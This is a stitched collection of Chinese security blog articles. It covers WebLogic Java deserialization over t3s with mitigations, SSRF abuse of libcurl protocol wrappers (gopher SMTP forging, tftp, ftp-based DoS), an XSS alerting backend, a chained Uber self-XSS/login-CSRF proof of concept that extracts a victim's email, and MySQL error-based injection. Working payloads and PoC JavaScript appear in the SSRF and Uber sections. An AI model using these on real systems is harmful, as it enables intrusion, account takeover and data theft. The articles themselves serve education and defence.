除了以上修改外,还需在停止脚本的JVM启动参数中加入“-Dweblogic.security.SSL.ignoreHostnameVerification=true”,避免因自定义证书中的地址与停止脚本实际访问的ssl服务的地址不一致而出现错误。

调用weblogic停止脚本并抓包

前文中已将weblogic的停止脚本“stopWebLogic.xx”中的访问链接改为t3s协议,会使用SSL协议进行通信。

需要调用weblogic的停止脚本并进行抓包。由于停止脚本会与同一台机器的weblogic通信,在Linux环境中抓包较为方便,需要使用tcpdump对Loopback对应的网卡进行抓包。

使用Wireshark解密SSL通信数据

前文已生成了weblogic的私钥文件,并对weblogic停止脚本调用过程进行了抓包,可以使用Wireshark解密对应的SSL通信数据。

首先在Wireshark中设置需要使用的私钥文件,打开Wireshark菜单的“Edit->Preferences”,打开“Protocols->SSL”,点击“RSA keys list”旁的“Edit”按钮,如下图。

添加一行配置,IP为weblogic服务器的IP,Port为weblogic的SSL监听端口,Protocol为tcp,Key File为之前已生成的weblogic的SSL证书的私钥文件。

使用Wireshark打开抓包文件,可以看到原本为加密形式的通信数据有部分已被解密,找到T3协议头相关数据,可以看到停止脚本向weblogic发送的T3协议头以“t3s”开头。

服务器返回的数据如下。

费了老大的劲,才发现原来weblogic开放HTTPS服务后,t3协议头的前几个字节由“t3”变成了“t3s”

以上步骤在Linux环境的weblogic 10.3.4测试成功。

JAVA反序列化漏洞调用过程

当weblogic开放HTTPS服务时,JAVA反序列化漏洞的调用过程如下。

at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)  
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)  
at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:203)  
at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:191)  
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:334)  
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
at java.lang.reflect.Method.invoke(Method.java:597)  
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)  
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1849)  
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1753)  
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1329)  
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:351)  
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:65)  
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:37)  
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)  
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:210)  
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)  
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)  
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:298)  
at weblogic.socket.SSLFilterImpl.dispatch(SSLFilterImpl.java:258)  
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:950)  
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:898)  
at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)  
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)  
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)  
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)  
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)

0x03 如何控制开放HTTPS服务的weblogic服务器


如何发送T3协议数据

利用weblogic的JAVA反序列化漏洞时,必须向weblogic发送T3协议头。当weblogic开放HTTPS服务时,向其发送的T3协议头应以“t3s”开头。向weblogic发送数据时应使用SSL协议,且不应对服务器的证书进行验证。

无论weblogic开放HTTP服务还是HTTPS服务,在向weblogic发送利用JAVA反序列化漏洞的序列化数据时,数据内容不需要改变。

如何调用weblogic的RMI服务

可以利用weblogic的JAVA反序列化数据使weblogic在服务器生成指定的jar文件并加载,在jar文件中开启weblogic的RMI服务,可以从公网直接调用,能够控制服务器。

当weblogic开放HTTPS服务时,调用weblogic的RMI服务时有几点需要进行修改。

  1. 在调用weblogic的RMI服务时,使用的URL应改为以“t3s”开头;
  2. 在调用weblogic的RMI服务时,客户端需要引入weblogic.jar。使用t3s协议时,weblobic.jar会尝试从当前目录读取weblogic授权文件license.bea,需要保证weblogic.jar能正确地读取该文件;
  3. weblogic.jar中会对服务器证书进行验证,判断其是否为可信证书。由于可能遇到服务器的证书未经过CA认证,因此需要修改证书验证的相关代码,忽略证书未经认证的问题;
  4. JVM启动参数需要增加“-Dweblogic.security.SSL.ignoreHostnameVerification=true”,避免因自定义证书中的地址与停止脚本实际访问的ssl服务的地址不一致而出现错误。

0x04 可行的漏洞修复方法

将SSL服务转移至其他设备

将SSL服务转移至weblogic服务器外层的设备实现,如SSL网关、负载均衡、单独部署的web代理等,将HTTP请求转发至weblogic,可以修复JAVA反序列化漏洞。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响 需要对SSL证书进行格式转换;需要购买设备;无法防护从内网发起的JAVA反序列化漏洞攻击

将SSL服务转移至weblogic服务器的web代理

在weblogic所在服务器安装web代理应用,如apache、nginx等,将SSL服务转移至web代理应用,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响;不需要购买设备 需要对SSL证书进行格式转换;无法防护从内网发起的JAVA反序列化漏洞攻击;会增加服务器的性能开销

将SSL服务转移至weblogic服务器的web代理并修改weblogic的监听IP

将weblogic的监听地址修改为“127.0.0.1”或“localhost”,只允许本机访问weblogic服务。

在weblogic所在服务器安装web代理应用,如apache、nginx等,将SSL服务转移至web代理应用,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。web代理的监听IP需设置为“0.0.0.0”,否则其他服务器无法访问。

需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击 需要对SSL证书进行格式转换;会增加服务器的性能开销

修改weblogic的代码

weblogic处理T3S协议的类为“weblogic.rjvm.t3.MuxableSocketT3S”,继承自“weblogic.rjvm.t3.MuxableSocketT3”类,且MuxableSocketT3S类中没有对dispatch方法进行重写,因此可以采用与修复weblogic的JAVA反序列化漏洞的多种方法中“修改weblogic的代码”部分相同的修复方法。具体步骤略。

优点 缺点
不需要对SSL证书进行格式转换;对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击;不会增加服务器的性能开销 存在商业风险,可能给oracle的维保带来影响

0x05 结束


无论weblogic服务器开放HTTP服务还是HTTPS服务,都是有可能利用JAVA反序列化漏洞控制服务器的。JAVA反序列化漏洞的影响,应该会持续很长的时间。


SSRF libcurl protocol wrappers利用分析

$
0
0

0x00 概述


前几天在hackerone上看到一个imgur的SSRF漏洞,url为:https://imgur.com/vidgif/url?url=xxx,参数url没有做限制,可以访问内网地址。请求过程中使用到了liburl库,并且liburl配置不当,可以让攻击者使用除http(s)之外的多个libcurl protocol wrappers,比如ftp://xxx.com/file会让服务器发起ftp请求。

漏洞提交者aesteral在报告中给出了几种协议的利用方法,查了下drops之前SSRF文章,好像没有专门介绍protocol wrappers,刚好看到了这个漏洞报告,就尝试着搭建环境复现下,记录下过程。

0x01 环境搭建


首先要搭建php + nginx环境,来模拟SSRF server端漏洞环境,这里选择用docker来搭建,系统为Ubuntu14.04,docker安装可以参考文档,ubuntu的apt源建议换成国内的,安装起来比较快。

安装完后,拉取docker hub上安装好php + nginx环境的image,仓库在国外,速度可能略慢

docker pull richarvey/nginx-php-fpm

创建代码目录/app

启动container(映射端口、挂载volume):

sudo docker run --name nginx -p 8084:80 -v /app:/usr/share/nginx/html -d richarvey/nginx-php-fpm

在/app目录下创建ssrf.php,代码中使用curl请求参数url对应的资源,返回给客户端,用于模拟SSRF的功能

<?php
        $url = $_GET['url'];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.1 Safari/537.11');
        // 允许302跳转
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $res = curl_exec($ch);
        // 设置content-type
        header('Content-Type: image/png');
        curl_close($ch) ;
        //返回响应
        echo $res;
?>

我们测试加载图片,访问

http://victim:8084/ssrf.php?url=http://download.easyicon.net/png/1199986/96/

测试SSRF,在另一台机器上执行nc -l -v 11111,监听11111端口

访问 http://victim:8084/ssrf.php?url=http://attacker:11111/

0x02 可利用的协议


报告里给出的可利用的协议有

  • SSH (scp://, sftp://)
  • POP3
  • IMAP
  • SMTP
  • FTP
  • DICT
  • GOPHER
  • TFTP

我们来看一下Ubuntu14.04下默认的libcurl支持哪些协议

因为docker ubuntu image没有curl,所以安装 apt-get install -y curl

然后执行curl -V

root@ubuntu:/app# curl -V
curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP

可以看到

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp

中,并没有SSH(scp://, sftp://),所以默认是不支持的SSH协议的,需要自己下载源码重现编译安装,可以参考这篇文章

0x03 利用方式


简单的利用,信息泄露

利用SSH和DICT协议获取软件版本信息

sftp(需要curl编译安装libssh库)访问:http://victim:8084/ssrf.php?url=sftp://attacker:11111/

DICT访问 http://victim:8084/ssrf.php?url=dict://attacker:11111/

可以看到服务使用的软件版本,libssh2 1.4.3libcurl 7.35.0。查看下CVE

libssh2 1.4.3可能受 CVE-2015-1782 影响

报告中imgur服务器中的软件版本是libcurl 7.40.0 可能受 CVE-2015-3144 和 CVE-2015-3237影响,我们的版本为libcurl 7.35.0,不受影响


利用GOPHER协议伪造发送邮件

先介绍下GOPHER协议,来自百度知道~

Gopher协议是一种互联网没有发展起来之前的一种从远程服务器上获取数据的协议。Gopher协议目前已经很少使用,它几乎已经完全被HTTP协议取代了。

因为GOPHER协议支持newlines,所以可以用来发起类似TELNET chat-session的请求,比如SMTP,Redis server等。漏洞报告中提到imgur过滤了url参数中的newlines,但imgur server支持302跳转,所以可以构造一个302跳转的页面,结合GOPHER协议来完成攻击。

先测试一下GOPHER协议的效果,构造302跳转页面 gopher.php

<?php
header('Location: gopher://attacker:11111/_HI%0AMultiline%0Atest');
?>

访问 http://victim:8084/ssrf.php?url=http://attacker/gopher.php

attacker端:

接下来是发送邮件,本来想用国内的邮箱试试的,然而都加了登陆验证来防止垃圾邮件。

报告中给了一个 http://test.smtp.org/ 的网站,可以用来测试,这里修改了收件人,不然不会发送成功

smtp.php:

<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <imgur@imgur.com>',
                'RCPT TO: postmaster@test.smtp.org',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://smtp.163.com:25/_'.$payload);
?>

访问http://victim:8084/ssrf.php?url=http://attacker:8084/smtp.php

可以到 http://test.smtp.org/log 下查看日志,我的VPS连接不了 http://test.smtp.org的25端口,换来一台直接用TELNET模拟

ubuntu@ubuntu:~$ telnet test.smtp.org 25
Trying 52.2.168.164...
Connected to test.smtp.org.
Escape character is '^]'.
220 test.smtp.org ESMTP Sendmail 8.16.0.16 ready at Fri, 18 Mar 2016 06:47:04 GMT; see http://test.smtp.org/
HELO test.org
250 test.smtp.org Hello [xx.xx.xx.xx], pleased to meet you
MAIL FROM: <imgur@imgur.com>
250 2.1.0 <imgur@imgur.com>... Sender ok
RCPT TO: postmaster@test.smtp.org
250 2.1.5 postmaster@test.smtp.org... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Test mail
.
250 2.0.0 u2I6l4QU017644 Message accepted for delivery

日志


使用TFTP协议来发送UDP包

服务端监听UDP 11111端口 nc -v -u -l 11111

访问http://Victim:8084/ssrf.php?url=tftp://Attacker:11111/TEST

Attacker:

可以用来向UDP服务发起请求,比如Memcache 和 REDIS-UDP


Denial of service

如果请求的超时时间较长,攻击者可以iptables的 TARPIT 来block请求,此外CURL的 FTP:// 永远不会超时

Attacker 监听 nc -v -l 11111

访问 http://Victim:8084/ssrf.php?url=ftp://Attacker:11111/TEST

nginx环境下默认超时时间为1分钟

攻击者可以发起大量请求来耗尽服务器的资源

0x04 结论


撸站遇到SSRF时,除了可以使用http(s)之外,还有其它的一些协议,这里进行了简单的分析,希望对大家有一些帮助~

XSS报警机制(前端防火墙:第二篇)

$
0
0

0x00 前言


在第一章结尾的时候我就已经说了,这一章将会更详细的介绍前端防火墙的报警机制及代码。在一章出来后,有人会问为什么不直接防御,而是不防御报警呢。很简单,因为防御的话,攻击者会定位到那一段的JavaScript代码,从而下次攻击的时候绕过代码。如果不防御而报警的话,攻击者会降低警觉,不会在看JavaScript代码(至少我是这样)。回到正题,下面说的代码,是基于thinkphp框架和bootstrap3.3.5框架。如果你的网站没有使用thinkphp3.2.3框架的话,可以参照我的思路重新写一个。这里我强调一下“前端防御XSS是建立在后端忘记做过滤,没有做过滤,疏忽做过滤的基础上的...

0x01 前端要做的事


其实标题应该改成“XSS报警机制”的,因为在这一章里使用了大量的后端代码。但是第一章的标题都出来了,也没法改了。

前端要做的事情在第一章的时候就已经说了,代码如下:

p1

现在我们就是针对第38行进行修改,改成我们后台接受的API URL。就像这样:

p2

对,就这一行。没有其他代码。在实际的线上环境中,也只需要上面5行。可以直接copy到您的线上环境中,记得把倒数第二行的url改成自己的地址就行了。难道就那么简单?不,0x05节还有一部分前端代码。0x01~0x04主要是针对于平台。

0x02 数据库要做的事


一共两个表。fecm_user和fecm_bugdata。

fecm_user的字段信息如下:

p3

  • name:管理员账户名
  • md5name:3次name值的md5
  • password:3次密码的md5
  • email:管理员邮箱
  • create_date:管理员创建时间

为了安全起见(其实就是懒)没有写添加管理员的,自行在数据库里添加

fecm_bugdata的字段信息如下:

p4

  • url:漏洞的url地址
  • category:漏洞类型
  • cookies:攻击者的cookies
  • ua:攻击者的User-Agent
  • hxff_ip:攻击者的HTTP_X_FORWARDED_FOR
  • hci_ip:攻击者的HTTP_CLIENT_IP
  • ra_ip:攻击者的REMOTE_ADDR
  • time:攻击者攻击的时间
  • fixes:漏洞是否修复(0为未修复,1为已修复)

0x03 后端要做的事


因为后端代码太多,所以我就说一些核心的后端处理代码。

在0x01节里,有个核心的代码是new Image().src = 'http://fecm.cn/Api/addVul/';

接下来我们来说说这个Api的处理方式(ThinkPHP代码)

public function addVul(){
    if(I('get.category','','int') == ""){
        $this->ajaxReturn(array(
            "typeMsg" =>  "error",
            "msgText" =>  "漏洞类型错误",
        ));
    }
    switch (I('get.category','','int')) {
        case '1':
            $vul['category'] = "触发alret函数";
            break;
        case '2':
            $vul['category'] = "发现不在白名单里的第三方JavaScript资源";
            break;
        default:
            $this->ajaxReturn(array(
                "typeMsg" =>  "error",
                "msgText" =>  "漏洞类型错误",
            ));
            break;
    }
    if($_SERVER['HTTP_X_FORWARDED_FOR'] === null){
        $vul['hxff_ip'] = "攻击者没有通过代理服务器访问";
    }else{
        $vul['hxff_ip'] = I('server.HTTP_X_FORWARDED_FOR'); //获取攻击者的HTTP_X_FORWARDED_FOR
    }
    if($_SERVER['HTTP_CLIENT_IP'] === null){
        $vul['hci_ip'] = "攻击者数据包头部没有HTTP_CLIENT_IP";
    }else{
        $vul['hci_ip'] = I('server.HTTP_CLIENT_IP');//获取攻击者的HTTP_CLIENT_IP
    }
    $vul['ra_ip'] = I('server.REMOTE_ADDR');    //获取攻击者的REMOTE_ADDR
    $vulcookie    = I('cookie.');   //获取攻击者的cookies
    for($i = 0;$i<count($vulcookie);$i++){
        $vul['cookies'] .= array_keys($vulcookie)[$i].'='.$vulcookie[array_keys($vulcookie)[$i]].'; ';  //拼接成方便查看的cookies格式
    }
    $vul['url']   = I('server.HTTP_REFERER');   //获取攻击者攻击成功的url
    $vul['ua']    = I('server.HTTP_USER_AGENT');    //获取攻击者的User-Agent
    $vul['time']  = date("Y-m-d");  //获取攻击者攻击的时间
    $vul['fixes'] = 0;  //默认为漏洞未修复
    $bugData = M('bugdata');    //连接fecm_bugdata数据库
    $bugData->data($vul)->add();    //添加到数据库中
}

因为这里是接受攻击信息,不能有管理员验证。

后台有一个数据库可视化的表格,这里我使用的Chart.js,下面是后端代码:

public function index(){
    $reportForm = M('bugdata'); //连接fecm_bugdata数据库
    $dateTimeLabels = [];
    $dateTimeTotal = [];
    for($i = 0;$i < 7;$i++){    //获取近7天的数据
        $time = date("Y-m-d",strtotime(-$i." day"));
        array_unshift($dateTimeLabels,$time);
        $data['time'] = array('like','%'.$time.'%');
        array_unshift($dateTimeTotal,$reportForm->where($data)->count());
    }
    $reportForm = json_encode(["Labels" => $dateTimeLabels,"Total" => $dateTimeTotal]); //转化成json格式
    $this->assign('reportForm',$reportForm)->assign('total',total());   //交给前端模块
    $this->display();   //前端页面生成
}

前端代码:

var lineChartData = {
    labels :eval({$reportForm})['Labels'],
    datasets : [
        {
            fillColor : "rgba(151,187,205,0.5)",
            strokeColor : "rgba(151,187,205,1)",
            pointColor : "rgba(151,187,205,1)",
            pointStrokeColor : "#fff",
            data : eval({$reportForm})['Total']
        }
    ]
}
var myLine = new Chart(document.getElementById("Statistics").getContext("2d")).Line(lineChartData);

实际的效果图:

p5

p6

p7

0x04 让我们实际测试一下


代码就用0x01节的代码。我们输入<script>alert(1)</script>。看一下:

p8

我们再去平台看一下:

p9

p10

成功显示了。

0x05 检测第三方js资源是否为xss脚本


这一节需要用到之前长短短分享的代码:

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){ 
    var a = document.createElement('a'); 
    a.href = tag.src||tag.href||tag.data; 
    if(a.hostname!=location.hostname){ 
        console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href); 
    }
}

但是他这里只是在console里显示,没有进一步的操作,而且他这里同时检测了iframe、frame、script、link、object、embed标签,对我们来说只需要script标签就行了,于是我重写了这段代码,首先我们需要一个白名单列表,用于放置网站允许第三方加载的url地址:

var scriptList = [
    location.hostname,
]

这里只是默认的只允许当前域名加载,打击爱可以根据自己的需要添加。

然后就是获取当前网页的所有script标签:

var webScript = document.querySelectorAll('script[src]');

在把当前的地址赋值var webHost = location.hostname;至于为什么不放在for循环里,因为根据js优化规则,for循环里避免多次一样的赋值。

接下来就是for循环里的代码了:

for(var i = 0;i < webScript.length;i++){
    var a = document.createElement('a');    //建立一个新的a标签,方便取值
    a.href = webScript[i].src;  //把script里的src赋值给a标签里的href属性
    if(a.hostname != webHost){  //对比,是否为第三方资源
        for(var j = 0;j < scriptList.length;j++){
            if(a.hostname != scriptList[i]){    //判断当前的第三方资源是否在白名单里
                new Image().src = 'http://fecm.cn/Api/addVul/category/2';   //发送给FECM
            }
        }
    }
}

这里我做了一个测试,加载hi.baidu.com的资源:

p11

刷新后,打开FECM平台,看一下:

p12

p13

0x06 结语


因为穷,没有服务器和域名,也没法添加邮件自动提醒功能了。感兴趣的可以自己添加,如果后来我有钱了,我买个服务器,会添加邮件自动提醒的,第一时间会在乌云社区里发布。本来打算采用ED的on事件拦截代码的,但是发现on事件在程序里也会大量使用,索性就没有添加,如果你有思路

下载地址:http://pan.baidu.com/s/1jGVP7Ps

使用时记得在Application\Home\Conf\config.php改下配置(我已经全部加了注释,即使不会thinkphp的也可以搭建)

个人代码写的没有多好,思路可能也比较烂。如果您有什么意见欢迎提出来,我会进一步修改的。

Uber三个鸡肋漏洞的妙用

$
0
0

0x00 简介


作者通过精心设计,将一个鸡肋的的self-XSS和两个鸡肋的csrf变成了一个高质量的漏洞。

原文:
https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/

在Uber一个设置个人信息的页面上,我找到一个非常简单且经典的XSS漏洞。设置项中随便修改一个字段为<script>alert(document.domain);</script>就可以执行并弹框。

uber-partners-xss-1-1

uber-partners-xss-1-1

一共花了两分钟找到这个漏洞,但是我们要来点更有意思的。

0x01 self-XSS


可以在网页中运行外界可控的任意JS脚本就被称为XSS漏洞,这时候你一般可以去读取其他用户的Cookies,或者发出一些请求。但是如果你只能对自己做这些,而不是其他用户,比如这段代码只会在你能看到的页面里面运行,这就被称为self-XSS。这种情况下,即使我们发现了漏洞,也很难去影响其他人。

我犹豫了一会,但是我后来决定试试,看能不能去掉这个"self"。

0x02 Uber OAuth 登录流程


Ubser的OAuth登录流程也是很经典的

  • 用户访问Uber某个需要登录的网站,比如partners.uber.com
  • 用户被重定向到授权服务器,比如login.uber.com
  • 用户输入账号密码
  • 用户重定向回到partners.uber.com,同时URL中携带code,可以用来换取Access Token

uber-partners-xss-2

从上面的截图你可以看到,OAuth的回调地址/oauth/callback?code=...并没有使用标准推荐的state参数,这意味着登录功能存在CSRF的问题,但是不好说会不会造成严重的问题。

同时,在退出登录的地方也有一个CSRF漏洞,当然这一般不会认为是漏洞。访问/logout会清除用户partner.uber.com的session,然后再重定向到login.uber.com的退出登录页面,清除login.uber.com的session。

因为我们的payload只存在于自己的账号中,我们可以让其他用户登录进我们的账号,然后payload就会执行,不过登录我们的账号会清除他们之前所有的session,这就让漏洞大打折扣了。所以我们要把漏洞放在一起利用。

0x03 捆绑利用漏洞


我们的计划就是这样的了

  • 首先,让用户登出partner.uber.com,但是不要登出login.uber.com,这样后面可以让用户重新回到原有账号
  • 然后,让用户登录我们的账号,这样payload就会执行
  • 最后,用户登录自己的账号,但是我们的payload仍然在运行,这样就可以盗取信息了

第一步 只在一个域名退出登录

首先发送一个请求到https://partners.uber.com/logout/,然后就可以登录我们的账号了。但是问题在于退出登录的重定向最终会到达https://login.uber.com/logout/,导致另外一个域名也退出登录。我们能不能控制呢?

我的方法就是使用Content Security Police来设置可以加载的域名。我只设置了允许请求partners.uber.comlogin.uber.com就会被浏览器拦截。

<!-- 设置CSP策略阻止访问 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- 退出登录 partners.uber.com -->
<img src="https://partners.uber.com/logout/">

这样是可以的,CSP会有下面的提示

uber-partners-xss-3

第二步 登录我的账号

这一步相对来说简单了一些,我们向https://partners.uber.com/login/发送一个请求(这一步是必须的,否则我们没法接收到回调)。上面我们用了CSP的trick来阻止部分流程,这里我们就需要用我自己的code来让用户登录了。

因为CSP会触发onerror,我们就可以在那里面跳转到下一步了。

<!-- CSP策略会阻止访问 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 退出登录 partners.uber.com,在跳转到login.iber.com的时候触发onerror -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //初始化登录
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //用我们的code登录
    var redir = function() {
        // 为了方便测试,code放在url hash中,实际需要动态的获取
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

第三步 回到原来的账号

这一部分的代码将会有XSS的payload,在我的账号中。

只要payload一运行,就可以切换回原来的账号了。这个必须在iframe中,因为需要保持payload一直运行。

// 创建一个iframe,让用户退出登录我的账号
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe里面还是用CSP的trick

<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //使用用户login.uber.com的session重新登录
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最后一部分是创建另外一个iframe,这样可以获取一些数据了

//等待几秒,加载个人信息页面,这是用户原始的信息
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //提取email信息
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

因为我们最终的这个iframe是在个人信息页面加载的,是同源的,而且X-Frame-Options也是设置的sameorigin而不是deny,所以我们使用contentWindow是可以访问到里面的内容的。

uber-partners-xss-5

综合在一起

  • 将第3步payload加入个人信息中
  • 登录自己的账号,取消回调,拿到还未用过的code
  • 让用户访问我们在第2步中创建的页面
  • 这样用户就会退出登录,然后重新登录到我的账号
  • 第3步的payload就会执行
  • 在隐藏的iframe中,退出登录我的账号
  • 在另外一个隐藏的iframe中,重新登录用户的账号
  • 这样我们就有了一个同源的有用户session的iframe了

这个漏洞很有意思,启发我们要在一个更高的层面去挖掘和思考安全漏洞。

Mysql报错注入原理分析(count()、rand()、group by)

$
0
0

0x00 疑问


一直在用mysql数据库报错注入方法,但为何会报错?

百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理。

0x01 位置问题?


select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,floor 都是直接放count(*) 后面,为了排除干扰,我们直接对比了两个报错语句,如下图

由上面的图片,可以知道报错跟位置无关。

0x02 绝对报错还是相对报错?


是不是报错语句有了floor(rand(0)*2)以及其他几个条件就一定报错?其实并不是如此,我们先建建个表,新增一条记录看看,如下图:

确认表中只有一条记录后,再执行报错语句看看,如下图:

多次执行均未发现报错。

然后我们新增一条记录。

然后再测试下报错语句

多次执行并没有报错

OK 那我们再增加一条

执行报错语句

ok 成功报错

由此可证明floor(rand(0)*2)报错是有条件的,记录必须3条以上,而且在3条以上必定报错,到底为何?请继续往下看。

0x03 随机因子具有决定权么(rand()和rand(0))


为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看,先看一条记录的时候,如下图:

一条记录的话 无论执行多少次也不报错

然后增加一条记录。

两条记录的话 结果就变成不确定性了

随机出现报错。

然后再插入一条

三条记录之后,也和2条记录一样进行随机报错。

由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand(),有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)的时候在两条的时候不报错,在三条以上就绝对报错?我们继续往下看。

0x04 不确定性与确定性


前面说过,floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从0x03我们大致可以猜想到,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

为了证明我们猜想,分别对floor(rand()*2)floor(rand(0)*2)在多记录表中执行多次(记录选择10条以上),在有12条记录表中执行结果如下图:

连续3次查询,毫无规则,接下来看看select floor(rand(0)*2) from &#96;T-Safe&#96;;,如下图:

可以看到floor(rand(0)*2)是有规律的,而且是固定的,这个就是上面提到的由于是确定性才导致的报错,那为何会报错呢,我们接着往下看。

0x05 count与group by的虚拟表


使用select count(*) from &#96;T-Safe&#96; group by x;这种语句的时候我们经常可以看到下面类似的结果:

可以看出 test12的记录有5条

count(*)的结果相符合,那么mysql在遇到select count(*) from TSafe group by x;这语句的时候到底做了哪些操作呢,我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

  1. 先建立虚拟表,如下图(其中key是主键,不可重复):

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。

0x06 floor(rand(0)*2)报错


其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

1.查询前默认会建立空虚拟表如下图:

